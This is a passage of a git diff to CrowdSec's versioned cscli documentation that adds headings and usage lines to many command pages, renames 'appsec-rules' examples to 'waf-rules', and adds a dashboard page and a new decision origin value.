Synopsis @@ -15,14 +17,14 @@ cscli appsec-rules list [item... | -a] [flags] ### Examples ``` -# List enabled (installed) appsec-rules. -cscli appsec-rules list +# List enabled (installed) waf-rules. +cscli waf-rules list -# List all available appsec-rules (installed or not). -cscli appsec-rules list -a +# List all available waf-rules (installed or not). +cscli waf-rules list -a -# List specific appsec-rules (installed or not). -cscli appsec-rules list crowdsecurity/crs crowdsecurity/vpatch-git-config +# List specific waf-rules (installed or not). +cscli waf-rules list crowdsecurity/crs crowdsecurity/vpatch-git-config ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md index fb12ba3e7..337e4e89d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md @@ -2,6 +2,8 @@ id: cscli_appsec-rules_remove title: cscli appsec-rules remove --- +## cscli appsec-rules remove + Remove given appsec-rule(s) ### Synopsis @@ -15,24 +17,24 @@ cscli appsec-rules remove [item]... [flags] ### Examples ``` -# Uninstall some appsec-rules. -cscli appsec-rules remove crowdsecurity/crs +# Uninstall some waf-rules. +cscli waf-rules remove crowdsecurity/crs # Show the execution plan without changing anything - compact output sorted by type and name. -cscli appsec-rules remove crowdsecurity/crs --dry-run +cscli waf-rules remove crowdsecurity/crs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. -cscli appsec-rules remove crowdsecurity/crs --dry-run -o raw +cscli waf-rules remove crowdsecurity/crs --dry-run -o raw # Uninstall and also remove the downloaded files. -cscli appsec-rules remove crowdsecurity/crs --purge +cscli waf-rules remove crowdsecurity/crs --purge # Remove tainted items. -cscli appsec-rules remove crowdsecurity/crs --force +cscli waf-rules remove crowdsecurity/crs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. -cscli appsec-rules remove crowdsecurity/crs -i -cscli appsec-rules remove crowdsecurity/crs --interactive +cscli waf-rules remove crowdsecurity/crs -i +cscli waf-rules remove crowdsecurity/crs --interactive ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md index 56f1d5f14..32aa11779 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md @@ -2,6 +2,8 @@ id: cscli_appsec-rules_upgrade title: cscli appsec-rules upgrade --- +## cscli appsec-rules upgrade + Upgrade given appsec-rule(s) ### Synopsis @@ -15,21 +17,21 @@ cscli appsec-rules upgrade [item]... [flags] ### Examples ``` -# Upgrade some appsec-rules. If they are not currently installed, they are downloaded but not installed. -cscli appsec-rules upgrade crowdsecurity/crs +# Upgrade some waf-rules. If they are not currently installed, they are downloaded but not installed. +cscli waf-rules upgrade crowdsecurity/crs # Show the execution plan without changing anything - compact output sorted by type and name. -cscli appsec-rules upgrade crowdsecurity/crs --dry-run +cscli waf-rules upgrade crowdsecurity/crs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. -cscli appsec-rules upgrade crowdsecurity/crs --dry-run -o raw +cscli waf-rules upgrade crowdsecurity/crs --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. -cscli appsec-rules upgrade crowdsecurity/crs --force +cscli waf-rules upgrade crowdsecurity/crs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. -cscli appsec-rules upgrade crowdsecurity/crs -i -cscli appsec-rules upgrade crowdsecurity/crs --interactive +cscli waf-rules upgrade crowdsecurity/crs -i +cscli waf-rules upgrade crowdsecurity/crs --interactive ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md index e445dfd88..fea36e533 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md @@ -2,6 +2,8 @@ id: cscli_bouncers title: cscli bouncers --- +## cscli bouncers + Manage bouncers [requires local API] ### Synopsis @@ -10,6 +12,10 @@ To list/add/delete/prune bouncers. Note: This command requires database direct access, so is intended to be run on Local API/master. +``` +cscli bouncers [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md index 377e66e0c..ddd78ce9d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md @@ -2,6 +2,8 @@ id: cscli_bouncers_add title: cscli bouncers add --- +## cscli bouncers add + add a single bouncer to the database ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md index ccb1fabdc..76c644183 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md @@ -2,6 +2,8 @@ id: cscli_bouncers_delete title: cscli bouncers delete --- +## cscli bouncers delete + delete bouncer(s) from the database ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md index ebadc29e9..d7e6aad90 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md @@ -2,6 +2,8 @@ id: cscli_bouncers_inspect title: cscli bouncers inspect --- +## cscli bouncers inspect + inspect a bouncer by name ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md index 8ba4a41c6..1aab9b426 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md @@ -2,6 +2,8 @@ id: cscli_bouncers_list title: cscli bouncers list --- +## cscli bouncers list + list all bouncers within the database ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md index 040323934..9429a080c 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md @@ -2,6 +2,8 @@ id: cscli_bouncers_prune title: cscli bouncers prune --- +## cscli bouncers prune + prune multiple bouncers from the database ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md index 59fd3c3bf..19c7a347a 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md @@ -2,8 +2,14 @@ id: cscli_capi title: cscli capi --- +## cscli capi + Manage interaction with Central API (CAPI) +``` +cscli capi [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md index 18a946d67..c07df4b6f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md @@ -2,6 +2,8 @@ id: cscli_capi_register title: cscli capi register --- +## cscli capi register + Register to Central API (CAPI) ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md index d7b7d74d9..94ce9744d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md @@ -2,6 +2,8 @@ id: cscli_capi_status title: cscli capi status --- +## cscli capi status + Check status with the Central API (CAPI) ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md index cf2cd6cc0..84cbe63f2 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md @@ -2,8 +2,14 @@ id: cscli_collections title: cscli collections --- +## cscli collections + Manage hub collections +``` +cscli collections [item]... [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md index 66edd18d3..445cfb58d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md @@ -2,6 +2,8 @@ id: cscli_collections_inspect title: cscli collections inspect --- +## cscli collections inspect + Inspect given collection(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md index 0cfc52f0e..92e06cb63 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md @@ -2,6 +2,8 @@ id: cscli_collections_install title: cscli collections install --- +## cscli collections install + Install given collection(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md index 4e6198778..ece29faac 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md @@ -2,6 +2,8 @@ id: cscli_collections_list title: cscli collections list --- +## cscli collections list + List collection(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md index af77ae552..83d15e8c2 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md @@ -2,6 +2,8 @@ id: cscli_collections_remove title: cscli collections remove --- +## cscli collections remove + Remove given collection(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md index 283365a9d..4895f5e92 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md @@ -2,6 +2,8 @@ id: cscli_collections_upgrade title: cscli collections upgrade --- +## cscli collections upgrade + Upgrade given collection(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md index 5ab8da881..3869ce72b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md @@ -2,6 +2,8 @@ id: cscli_completion title: cscli completion --- +## cscli completion + Generate completion script ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md index fa601081b..fb3b1cb76 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md @@ -2,8 +2,14 @@ id: cscli_config title: cscli config --- +## cscli config + Allows to view current config +``` +cscli config [command] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md index 1a365ad45..150e33429 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md @@ -2,6 +2,8 @@ id: cscli_config_feature-flags title: cscli config feature-flags --- +## cscli config feature-flags + Displays feature flag status ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md index c248f1fe9..77309c4e4 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md @@ -2,6 +2,8 @@ id: cscli_config_show-yaml title: cscli config show-yaml --- +## cscli config show-yaml + Displays merged config.yaml + config.yaml.local ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md index 252e1d374..3b88db99c 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md @@ -2,6 +2,8 @@ id: cscli_config_show title: cscli config show --- +## cscli config show + Displays current config ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md index ebccae0f3..ec6df0b82 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md @@ -2,6 +2,8 @@ id: cscli_console title: cscli console --- +## cscli console + Manage interaction with Crowdsec console (https://app.crowdsec.net) ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md index f5847aac9..9c85fe360 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md @@ -2,6 +2,8 @@ id: cscli_console_disable title: cscli console disable --- +## cscli console disable + Disable a console option ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md index d0e1ef8c3..691ea1cff 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md @@ -2,6 +2,8 @@ id: cscli_console_enable title: cscli console enable --- +## cscli console enable + Enable a console option ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md index 28b27d967..cab0759f5 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md @@ -2,6 +2,8 @@ id: cscli_console_enroll title: cscli console enroll --- +## cscli console enroll + Enroll this instance to https://app.crowdsec.net [requires local API] ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md index 979c3fa56..f1afc45cc 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md @@ -2,6 +2,8 @@ id: cscli_console_status title: cscli console status --- +## cscli console status + Shows status of the console options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md index f7b958508..a15975fe4 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md @@ -2,8 +2,14 @@ id: cscli_contexts title: cscli contexts --- +## cscli contexts + Manage hub contexts +``` +cscli contexts [item]... [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md index 020503825..03c85b2ee 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md @@ -2,6 +2,8 @@ id: cscli_contexts_inspect title: cscli contexts inspect --- +## cscli contexts inspect + Inspect given context(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md index ec8ea390e..0180dcd06 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md @@ -2,6 +2,8 @@ id: cscli_contexts_install title: cscli contexts install --- +## cscli contexts install + Install given context(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md index a7c747e4c..931732e5b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md @@ -2,6 +2,8 @@ id: cscli_contexts_list title: cscli contexts list --- +## cscli contexts list + List context(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md index 27d9ace0d..866e7f7af 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md @@ -2,6 +2,8 @@ id: cscli_contexts_remove title: cscli contexts remove --- +## cscli contexts remove + Remove given context(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md index d81e78fa3..560f15b87 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md @@ -2,6 +2,8 @@ id: cscli_contexts_upgrade title: cscli contexts upgrade --- +## cscli contexts upgrade + Upgrade given context(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_dashboard.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_dashboard.md new file mode 100644 index 000000000..8a1025f5c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_dashboard.md @@ -0,0 +1,35 @@ +--- +id: cscli_dashboard +title: cscli dashboard +--- +## cscli dashboard + + + +``` +cscli dashboard [flags] +``` + +### Options + +``` + -h, --help help for dashboard +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md index d003043fa..7e74d7be9 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md @@ -2,12 +2,18 @@ id: cscli_decisions title: cscli decisions --- +## cscli decisions + Manage decisions ### Synopsis Add/List/Delete/Import decisions from LAPI +``` +cscli decisions [action] [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md index 12ac37301..070c0b5c5 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md @@ -2,6 +2,8 @@ id: cscli_decisions_add title: cscli decisions add --- +## cscli decisions add + Add decision to LAPI ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md index dedbe1fd3..e93999828 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md @@ -2,6 +2,8 @@ id: cscli_decisions_delete title: cscli decisions delete --- +## cscli decisions delete + Delete decisions ``` @@ -15,7 +17,7 @@ cscli decisions delete -r 1.2.3.0/24 cscli decisions delete -i 1.2.3.4 cscli decisions delete --id 42 cscli decisions delete --type captcha -cscli decisions delete --origin lists --scenario list_name +cscli decisions delete --origin lists --scenario list_name ``` @@ -27,7 +29,7 @@ cscli decisions delete --origin lists --scenario list_name -t, --type string the decision type (ie. ban,captcha) -v, --value string the value to match for in the specified scope -s, --scenario string the scenario name (ie. crowdsecurity/ssh-bf) - --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...) + --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI,remediation_sync ...) --id string decision id --all delete all decisions --contained query decisions contained by range diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md index 1bca02a2f..d5589a46e 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md @@ -2,6 +2,8 @@ id: cscli_decisions_import title: cscli decisions import --- +## cscli decisions import + Import decisions from a file or pipe ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md index 8d33dce19..ce05334a2 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md @@ -2,6 +2,8 @@ id: cscli_decisions_list title: cscli decisions list --- +## cscli decisions list + List decisions from LAPI ``` @@ -26,7 +28,7 @@ cscli decisions list --origin lists --scenario list_name --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s) -t, --type string restrict to this decision type (ie. ban,captcha) --scope string restrict to this scope (ie. ip,range,session) - --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...) + --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI,remediation_sync ...) -v, --value string restrict to this value (ie. 1.2.3.4,userName) -s, --scenario string restrict to this scenario (ie. crowdsecurity/ssh-bf) -i, --ip string restrict to alerts from this source ip (shorthand for --scope ip --value ) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md index f8e9078e9..18aa35de6 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md @@ -2,6 +2,8 @@ id: cscli_explain title: cscli explain --- +## cscli explain + Explain log pipeline ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md index b16d621dc..2bfd2a170 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md @@ -2,6 +2,8 @@ id: cscli_hub title: cscli hub --- +## cscli hub + Manage hub index ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md index dec6633f5..9342a92fa 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md @@ -2,6 +2,8 @@ id: cscli_hub_branch title: cscli hub branch --- +## cscli hub branch + Show selected hub branch ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md index ae5ae0627..9dba9a019 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md @@ -2,6 +2,8 @@ id: cscli_hub_list title: cscli hub list --- +## cscli hub list + List all installed configurations ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md index 0da050296..859c5bba5 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md @@ -2,6 +2,8 @@ id: cscli_hub_types title: cscli hub types --- +## cscli hub types + List supported item types ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md index a629a197d..8fecf11e4 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md @@ -2,6 +2,8 @@ id: cscli_hub_update title: cscli hub update --- +## cscli hub update + Download the latest index (catalog of available configurations) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md index 17d61bcba..75f8a4732 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md @@ -2,6 +2,8 @@ id: cscli_hub_upgrade title: cscli hub upgrade --- +## cscli hub upgrade + Upgrade all configurations to their latest version ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md index 52659f87a..d9f3ac5bc 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md @@ -2,12 +2,18 @@ id: cscli_hubtest title: cscli hubtest --- +## cscli hubtest + Run functional tests on hub configurations ### Synopsis Run functional tests on hub configurations (parsers, scenarios, collections...) +``` +cscli hubtest [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md index e06dcbdcc..1a9a8e37f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md @@ -2,6 +2,8 @@ id: cscli_hubtest_clean title: cscli hubtest clean --- +## cscli hubtest clean + clean [test_name] ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md index 87bdf811d..961c19841 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md @@ -2,6 +2,8 @@ id: cscli_hubtest_coverage title: cscli hubtest coverage --- +## cscli hubtest coverage + coverage ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md index b45d5610c..dddf8f86b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md +++ 